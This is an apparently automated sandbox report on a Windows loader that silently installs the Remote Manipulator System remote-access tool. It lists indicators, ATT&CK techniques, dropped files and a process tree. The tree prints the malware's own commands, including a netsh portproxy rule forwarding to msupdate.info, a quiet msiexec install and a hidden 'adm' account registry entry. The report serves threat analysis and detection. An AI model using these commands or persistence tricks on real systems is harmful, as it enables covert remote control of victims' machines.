rms | 3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4

Analysis

max time kernel
139s
max time network
160s
platform
windows7_x64
resource
win7-20220414-en
submitted
10-05-2022 05:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$77_loader.exe
Size

397KB
MD5

aff57ee1a4f3731c2036046910f78fb4
SHA1

ef9627c0cadff85a3dfaab6aef0b7c885f03b186
SHA256

3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4
SHA512

5ae93c6dae61782a7ac2fa2079df7006e0655d73e32fd7df1a5c1d44e47fd7dd2da225ea6f93e9d3dcb09be5f84b5dab2130bb4f2d5b0e05d95e866ebde0163f

Score

10^/10

rms discovery evasion persistence rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Blocklisted process makes network request 3 IoCs

flow	pid	Process
23	756	msiexec.exe
25	756	msiexec.exe
27	756	msiexec.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
1120	RMS.exe
1668	installer.exe
1176	rutserv.exe
1892	rutserv.exe
2044	rutserv.exe
108	rutserv.exe
568	rfusclient.exe
588	rfusclient.exe
1608	rfusclient.exe

Sets file execution options in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Loads dropped DLL 4 IoCs

pid	Process
1120	RMS.exe
1928	MsiExec.exe
108	rutserv.exe
108	rutserv.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Modifies WinLogon 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	$77_loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\adm = "0"	$77_loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	$77_loader.exe

Modifies powershell logging option 1 TTPs
evasion

Modify Registry
T1112

Drops file in Program Files directory 53 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\install.cmd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\uninstall.cmd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrv_rms.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisdecoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\fwproc.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrvui_rms.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmsui2.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrv_rms.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrv_rms.hlp	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\vp8encoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\fwproc.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\progress.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\VPDAgent_x64.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\RWLN.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\RIPCServer.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\stdnames_vpd.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms_s.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Russian.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisencoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms_s.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrvui_rms.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrv_rms.hlp	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\srvinst.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\VPDAgent.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\setupdrv.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.lng	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unires_vpd.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmspm.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\srvinst_x64.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmsui.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\ntprint.inf	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmsui.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\stdnames_vpd.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.ini	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\SampleClient.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\install.cmd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmsui2.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmspm.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\vp8decoder.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.ini	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unires_vpd.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\uninstall.cmd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\English.lg	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\progress.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\ntprint.inf	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.gpd	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\webmmux.dll	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\EULA.rtf	msiexec.exe
File created	C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\setupdrv.exe	msiexec.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\SoftwareDistribution\config.xml	$77_loader.exe
File opened for modification	C:\Windows\Installer\MSI8227.tmp	msiexec.exe
File created	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_start_C00864331B9D4391A8A26292A601EBE2.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\6d65c8.ipi	msiexec.exe
File opened for modification	C:\Windows\SoftwareDistribution\config.xml	$77_loader.exe
File created	C:\Windows\Installer\6d65c6.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\6d65c6.msi	msiexec.exe
File created	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\ARPPRODUCTICON.exe	msiexec.exe
File created	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_config_C8E9A92497A149D695F92E4E3AE550F0.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI79BD.tmp	msiexec.exe
File created	C:\Windows\Installer\6d65c8.ipi	msiexec.exe
File created	C:\Windows\Installer\6d65ca.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\ARPPRODUCTICON.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\UNINST_Uninstall_R_3B1E3C8B7D0945898DA82CEEED02F0C7.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_config_C8E9A92497A149D695F92E4E3AE550F0.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\UNINST_Uninstall_R_3B1E3C8B7D0945898DA82CEEED02F0C7.exe	msiexec.exe
File created	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_stop_27D7873393984316BEA10FB36BB4D2F9.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_stop_27D7873393984316BEA10FB36BB4D2F9.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_start_C00864331B9D4391A8A26292A601EBE2.exe	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Gathers network information 2 TTPs 6 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
1496	NETSTAT.EXE
1648	NETSTAT.EXE
1064	NETSTAT.EXE
1004	NETSTAT.EXE
432	NETSTAT.EXE
1912	NETSTAT.EXE

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7ZipSfx.000\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\ProductName = "Remote Manipulator System - Host"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Language = "1049"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Version = "115998720"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\ProductIcon = "C:\\Windows\\Installer\\{D9E14363-FD66-419D-9DC9-C62471755C9F}\\ARPPRODUCTICON.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\PackageName = "rms.host6.3ru_mod.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media\1 = "DISK1;1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\36341E9D66DFD914D99C6C421757C5F9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\PackageCode = "EE22CCA5812A64F4CB23B29D2A4A798E"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17\36341E9D66DFD914D99C6C421757C5F9	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\7ZipSfx.000\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\36341E9D66DFD914D99C6C421757C5F9\RMS	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9	msiexec.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
1644	$77_loader.exe
1644	$77_loader.exe
1644	$77_loader.exe
1644	$77_loader.exe
1644	$77_loader.exe
1644	$77_loader.exe
1644	$77_loader.exe
1668	installer.exe
1668	installer.exe
1668	installer.exe
1668	installer.exe
1668	installer.exe
1668	installer.exe
756	msiexec.exe
756	msiexec.exe
1176	rutserv.exe
1176	rutserv.exe
1176	rutserv.exe
1176	rutserv.exe
1892	rutserv.exe
1892	rutserv.exe
2044	rutserv.exe
2044	rutserv.exe
108	rutserv.exe
108	rutserv.exe
108	rutserv.exe
108	rutserv.exe
588	rfusclient.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
1608	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1644	$77_loader.exe
Token: SeRestorePrivilege	1464	msiexec.exe
Token: SeTakeOwnershipPrivilege	1464	msiexec.exe
Token: SeSecurityPrivilege	1464	msiexec.exe
Token: SeDebugPrivilege	1912	NETSTAT.EXE
Token: SeDebugPrivilege	1496	NETSTAT.EXE
Token: SeDebugPrivilege	1648	NETSTAT.EXE
Token: SeDebugPrivilege	1064	NETSTAT.EXE
Token: SeDebugPrivilege	1004	NETSTAT.EXE
Token: SeDebugPrivilege	432	NETSTAT.EXE
Token: SeShutdownPrivilege	956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	956	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeSecurityPrivilege	756	msiexec.exe
Token: SeCreateTokenPrivilege	956	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	956	msiexec.exe
Token: SeLockMemoryPrivilege	956	msiexec.exe
Token: SeIncreaseQuotaPrivilege	956	msiexec.exe
Token: SeMachineAccountPrivilege	956	msiexec.exe
Token: SeTcbPrivilege	956	msiexec.exe
Token: SeSecurityPrivilege	956	msiexec.exe
Token: SeTakeOwnershipPrivilege	956	msiexec.exe
Token: SeLoadDriverPrivilege	956	msiexec.exe
Token: SeSystemProfilePrivilege	956	msiexec.exe
Token: SeSystemtimePrivilege	956	msiexec.exe
Token: SeProfSingleProcessPrivilege	956	msiexec.exe
Token: SeIncBasePriorityPrivilege	956	msiexec.exe
Token: SeCreatePagefilePrivilege	956	msiexec.exe
Token: SeCreatePermanentPrivilege	956	msiexec.exe
Token: SeBackupPrivilege	956	msiexec.exe
Token: SeRestorePrivilege	956	msiexec.exe
Token: SeShutdownPrivilege	956	msiexec.exe
Token: SeDebugPrivilege	956	msiexec.exe
Token: SeAuditPrivilege	956	msiexec.exe
Token: SeSystemEnvironmentPrivilege	956	msiexec.exe
Token: SeChangeNotifyPrivilege	956	msiexec.exe
Token: SeRemoteShutdownPrivilege	956	msiexec.exe
Token: SeUndockPrivilege	956	msiexec.exe
Token: SeSyncAgentPrivilege	956	msiexec.exe
Token: SeEnableDelegationPrivilege	956	msiexec.exe
Token: SeManageVolumePrivilege	956	msiexec.exe
Token: SeImpersonatePrivilege	956	msiexec.exe
Token: SeCreateGlobalPrivilege	956	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe
Token: SeRestorePrivilege	756	msiexec.exe
Token: SeTakeOwnershipPrivilege	756	msiexec.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1668	installer.exe
1176	rutserv.exe
1892	rutserv.exe
2044	rutserv.exe
108	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 1108	1644	$77_loader.exe	27
PID 1644 wrote to memory of 1108	1644	$77_loader.exe	27
PID 1644 wrote to memory of 1108	1644	$77_loader.exe	27
PID 1108 wrote to memory of 1288	1108	csc.exe	29
PID 1108 wrote to memory of 1288	1108	csc.exe	29
PID 1108 wrote to memory of 1288	1108	csc.exe	29
PID 1644 wrote to memory of 844	1644	$77_loader.exe	31
PID 1644 wrote to memory of 844	1644	$77_loader.exe	31
PID 1644 wrote to memory of 844	1644	$77_loader.exe	31
PID 1644 wrote to memory of 524	1644	$77_loader.exe	34
PID 1644 wrote to memory of 524	1644	$77_loader.exe	34
PID 1644 wrote to memory of 524	1644	$77_loader.exe	34
PID 1644 wrote to memory of 1912	1644	$77_loader.exe	35
PID 1644 wrote to memory of 1912	1644	$77_loader.exe	35
PID 1644 wrote to memory of 1912	1644	$77_loader.exe	35
PID 1644 wrote to memory of 1496	1644	$77_loader.exe	36
PID 1644 wrote to memory of 1496	1644	$77_loader.exe	36
PID 1644 wrote to memory of 1496	1644	$77_loader.exe	36
PID 1644 wrote to memory of 1648	1644	$77_loader.exe	37
PID 1644 wrote to memory of 1648	1644	$77_loader.exe	37
PID 1644 wrote to memory of 1648	1644	$77_loader.exe	37
PID 1644 wrote to memory of 1304	1644	$77_loader.exe	38
PID 1644 wrote to memory of 1304	1644	$77_loader.exe	38
PID 1644 wrote to memory of 1304	1644	$77_loader.exe	38
PID 1644 wrote to memory of 2024	1644	$77_loader.exe	39
PID 1644 wrote to memory of 2024	1644	$77_loader.exe	39
PID 1644 wrote to memory of 2024	1644	$77_loader.exe	39
PID 1644 wrote to memory of 1244	1644	$77_loader.exe	40
PID 1644 wrote to memory of 1244	1644	$77_loader.exe	40
PID 1644 wrote to memory of 1244	1644	$77_loader.exe	40
PID 1644 wrote to memory of 1724	1644	$77_loader.exe	41
PID 1644 wrote to memory of 1724	1644	$77_loader.exe	41
PID 1644 wrote to memory of 1724	1644	$77_loader.exe	41
PID 1644 wrote to memory of 1832	1644	$77_loader.exe	42
PID 1644 wrote to memory of 1832	1644	$77_loader.exe	42
PID 1644 wrote to memory of 1832	1644	$77_loader.exe	42
PID 1644 wrote to memory of 1064	1644	$77_loader.exe	43
PID 1644 wrote to memory of 1064	1644	$77_loader.exe	43
PID 1644 wrote to memory of 1064	1644	$77_loader.exe	43
PID 1644 wrote to memory of 1004	1644	$77_loader.exe	44
PID 1644 wrote to memory of 1004	1644	$77_loader.exe	44
PID 1644 wrote to memory of 1004	1644	$77_loader.exe	44
PID 1644 wrote to memory of 432	1644	$77_loader.exe	45
PID 1644 wrote to memory of 432	1644	$77_loader.exe	45
PID 1644 wrote to memory of 432	1644	$77_loader.exe	45
PID 1644 wrote to memory of 1120	1644	$77_loader.exe	47
PID 1644 wrote to memory of 1120	1644	$77_loader.exe	47
PID 1644 wrote to memory of 1120	1644	$77_loader.exe	47
PID 1644 wrote to memory of 1120	1644	$77_loader.exe	47
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1120 wrote to memory of 1668	1120	RMS.exe	48
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 1668 wrote to memory of 956	1668	installer.exe	49
PID 756 wrote to memory of 1928	756	msiexec.exe	51

C:\Users\Admin\AppData\Local\Temp\$77_loader.exe
"C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"
1⤵
- Modifies WinLogon
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j3igwgfh.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2638.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2637.tmp"
    3⤵
    PID:1288
- C:\Windows\system32\chcp.com
  "C:\Windows\system32\chcp.com" 437
  2⤵
  PID:844
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy show all
  2⤵
  PID:524
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:1912
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:1496
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy reset
  2⤵
  PID:1304
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy show all
  2⤵
  PID:2024
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info
  2⤵
  PID:1244
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy show all
  2⤵
  PID:1724
- C:\Windows\system32\netsh.exe
  "C:\Windows\system32\netsh.exe" interface portproxy show all
  2⤵
  PID:1832
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:1064
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:1004
- C:\Windows\system32\NETSTAT.EXE
  "C:\Windows\system32\NETSTAT.EXE" -na
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:432
- C:\Users\Admin\AppData\Local\Temp\RMS.exe
  "C:\Users\Admin\AppData\Local\Temp\RMS.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1120
- - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
    "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe" /rsetup
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1668
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi" /qn
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:956
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\killself.bat
      4⤵
      PID:1508

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B70FDF32294D3452E9D9B6000EA071C0
  2⤵
  - Loads dropped DLL
  PID:1928
- C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /silentinstall
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1176
- C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
  "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /firewall
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1892
